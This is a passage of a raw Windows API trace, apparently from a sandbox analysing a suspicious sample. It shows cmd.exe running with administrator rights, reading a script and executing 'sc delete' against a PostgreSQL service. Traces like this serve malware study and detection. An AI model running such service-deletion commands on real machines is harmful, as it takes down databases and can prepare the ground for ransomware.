lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="xEXPRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="6XPRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.268] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="4PRESS\"\nA\"\n") returned 1 [0072.268] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.268] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="-RESS\"\nA\"\n") returned 1 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="9ESS\"\nA\"\n") returned 1 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr=".SS\"\nA\"\n") returned 1 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="4S\"\nA\"\n") returned 1 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="\"\"\nA\"\n") returned 1 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="\n\nA\"\n") returned 1 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] GetFileType (hFile=0xb8) returned 0x3 [0072.269] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.269] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.269] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.270] GetFileType (hFile=0x120) returned 0x3 [0072.270] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.270] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"postgresql-x64-9.4\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"postgresql-x64-9.4\"\n", lpUsedDefaultChar=0x0) returned 32 [0072.270] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1f, lpOverlapped=0x0) returned 1 [0072.270] GetProcessHeap () returned 0x4a0000 [0072.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.270] GetProcessHeap () returned 0x4a0000 [0072.270] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.270] GetProcessHeap () returned 0x4a0000 [0072.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.270] GetProcessHeap () returned 0x4a0000 [0072.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.270] GetProcessHeap () returned 0x4a0000 [0072.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4a) returned 0x4bba10 [0072.270] GetConsoleOutputCP () returned 0x1b5 [0072.270] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.270] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.270] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x50) returned 0x4b9b30 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc590 [0072.271] SetErrorMode (uMode=0x0) returned 0x1 [0072.271] SetErrorMode (uMode=0x1) returned 0x0 [0072.271] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5a0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.271] SetErrorMode (uMode=0x1) returned 0x1 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc590, Size=0x62) returned 0x4bc590 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc590) returned 0x62 [0072.271] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.271] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.271] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0072.271] GetProcessHeap () returned 0x4a0000 [0072.271] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0072.271] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.272] GetLastError () returned 0x2 [0072.272] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.272] GetLastError () returned 0x2 [0072.272] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.272] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0072.272] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0072.272] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.272] GetLastError () returned 0x2 [0072.272] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0072.273] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0072.273] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.273] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.273] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.273] GetProcessHeap () returned 0x4a0000 [0072.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.273] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.273] GetProcessHeap () returned 0x4a0000 [0072.273] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb6) returned 0x4b9180 [0072.273] GetProcessHeap () returned 0x4a0000 [0072.273] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb6 [0072.273] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"postgresql-x64-9.4\"") returned 1 [0072.274] GetProcessHeap () returned 0x4a0000 [0072.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.274] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.274] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.274] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.274] GetProcessHeap () returned 0x4a0000 [0072.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.274] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.275] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.275] GetProcessHeap () returned 0x4a0000 [0072.275] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.275] GetProcessHeap () returned 0x4a0000 [0072.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.275] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"postgresql-x64-9.4\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"postgresql-x64-9.4\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"postgresql-x64-9.4\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x734, dwThreadId=0x70c)) returned 1 [0072.278] CloseHandle (hObject=0x54) returned 1 [0072.278] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.278] GetProcessHeap () returned 0x4a0000 [0072.278] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0072.278] GetEnvironmentStringsW () returned 0x4bba70* [0072.278] GetProcessHeap () returned 0x4a0000 [0072.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.279] FreeEnvironmentStringsW (penv=0x4bba70) returned 1 [0072.279] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.279] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.279] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.321] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.321] CloseHandle (hObject=0x50) returned 1 [0072.321] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.321] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.321] GetProcessHeap () returned 0x4a0000 [0072.321] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.321] GetEnvironmentStringsW () returned 0x4c1b10* [0072.321] GetProcessHeap () returned 0x4a0000 [0072.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba70 [0072.321] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.321] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.322] GetProcessHeap () returned 0x4a0000 [0072.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0072.322] GetEnvironmentStringsW () returned 0x4bba70* [0072.322] GetProcessHeap () returned 0x4a0000 [0072.322] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.322] FreeEnvironmentStringsW (penv=0x4bba70) returned 1 [0072.322] GetProcessHeap () returned 0x4a0000 [0072.322] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.322] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.322] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.322] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.322] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.322] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.322] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.323] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.323] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.323] GetConsoleOutputCP () returned 0x1b5 [0072.323] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.323] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc590 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.323] GetProcessHeap () returned 0x4a0000 [0072.323] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.324] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.324] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.324] GetFileType (hFile=0x120) returned 0x3 [0072.324] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.324] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.324] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.324] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.324] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.324] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.324] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.324] GetFileType (hFile=0x120) returned 0x3 [0072.324] 